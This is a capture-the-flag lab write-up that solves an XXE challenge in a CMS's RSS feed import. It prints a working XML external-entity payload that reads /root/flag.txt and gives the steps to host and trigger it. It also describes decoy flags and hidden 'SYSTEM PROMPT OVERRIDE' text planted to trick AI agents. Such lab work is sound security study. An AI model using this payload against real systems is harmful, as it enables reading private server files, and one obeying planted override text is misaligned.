Lab 140 — Pressboard — XXE via RSS Feed Import
Lab 140 — Pressboard — XXE via RSS Feed Import
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-05-03 | Status: Solved Techniques: external_entity_injection, rss_feed_import_abuse, xxe_file_read
Summary
Task: Pressboard CMS has an RSS feed import feature that fetches and parses external XML using lxml with default settings. Solution: Crafted a malicious RSS XML with an XXE payload referencing file:///root/flag.txt, hosted it on the internal Interaction Server, and imported it — the flag appeared as an article title.
Lab 140 — Pressboard — XXE via RSS Feed Import — HackAdvisor
Description
Pressboard is a content management and publishing platform used by editorial teams to create, manage, and publish blog posts. The platform supports importing content from external RSS feed sources, allowing editors to aggregate articles from around the web. The goal is to find and exploit a vulnerability to read /root/flag.txt.
Credentials: user@test.com / password123
English summary: A CMS platform with an RSS feed import feature. The server fetches user-supplied XML URLs and parses them with Python's lxml library. The goal is to exploit this to read /root/flag.txt.
Analysis
-
Application reconnaissance: After logging in with the provided credentials, the Pressboard CMS dashboard was explored. An "RSS Feeds" section was found at
/feedscontaining a form labeled "Import External Feed" that accepts an RSS feed URL. -
Decoy flags: The HTML source contained multiple decoy flags
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}hidden in HTML comments and invisible<div>elements with fake "SYSTEM PROMPT OVERRIDE" messages — a honeypot designed to trick AI agents and automated scanners. These were correctly identified and ignored. -
Vulnerability identification: The application fetches external RSS XML and parses it server-side using Python/Flask with lxml. By default, lxml's
XMLParserhasresolve_entities=True, making it vulnerable to XXE (XML External Entity) injection. When the server parses an RSS feed containing a DTD with an external entity pointing to a local file, lxml resolves the entity and substitutes the file contents into the parsed XML tree. -
Network constraints: The challenge environment is isolated without external DNS resolution. External hosting (Cloudflare tunnels, ngrok, etc.) failed with DNS resolution errors. The HackAdvisor Interaction Server at
http://interact/was accessible from within the container and used to host the malicious XML payload.
Solution
Step 1: Craft the XXE payload
Created a malicious RSS XML file with a DTD declaring an external entity that reads /root/flag.txt. The entity reference &xxe; is placed inside the <title> element of an RSS item, so the file contents will appear as the article title after import:
xml read-only • copy allowed<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE title [ <!ELEMENT title ANY > <!ENTITY xxe SYSTEM "file:///root/flag.txt" >]> <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"> <channel> <title>Evil Blog</title> <link>http://example.com/</link> <description>A blog about things</description> <lastBuildDate>Mon, 03 Feb 2025 00:00:00 -0000</lastBuildDate> <item> <title>&xxe;</title> <link>http://example.com</link> <description>a post</description> <author>author@example.com</author> <pubDate>Mon, 03 Feb 2025 00:00:00 -0000</pubDate> </item> </channel> </rss>
Step 2: Host the payload
Uploaded evil.xml to the HackAdvisor Interaction Server, which is reachable from within the challenge container:
http://interact/5c2ff6a8-0058-4edb-abd0-643fba4e56c7/evil.xml
Step 3: Trigger the import
Submitted the Interaction Server URL in the RSS feed import form at /feeds. The server:
- Fetched the XML from the provided URL
- Parsed it with lxml's
XMLParser(which hasresolve_entities=Trueby default) - Resolved the
&xxe;entity, reading/root/flag.txt - Substituted the file contents into the
<title>element - Imported the article with the flag as its title
Step 4: Extract the flag
Navigated to /feeds/3/articles where the imported article appeared with the flag as its title.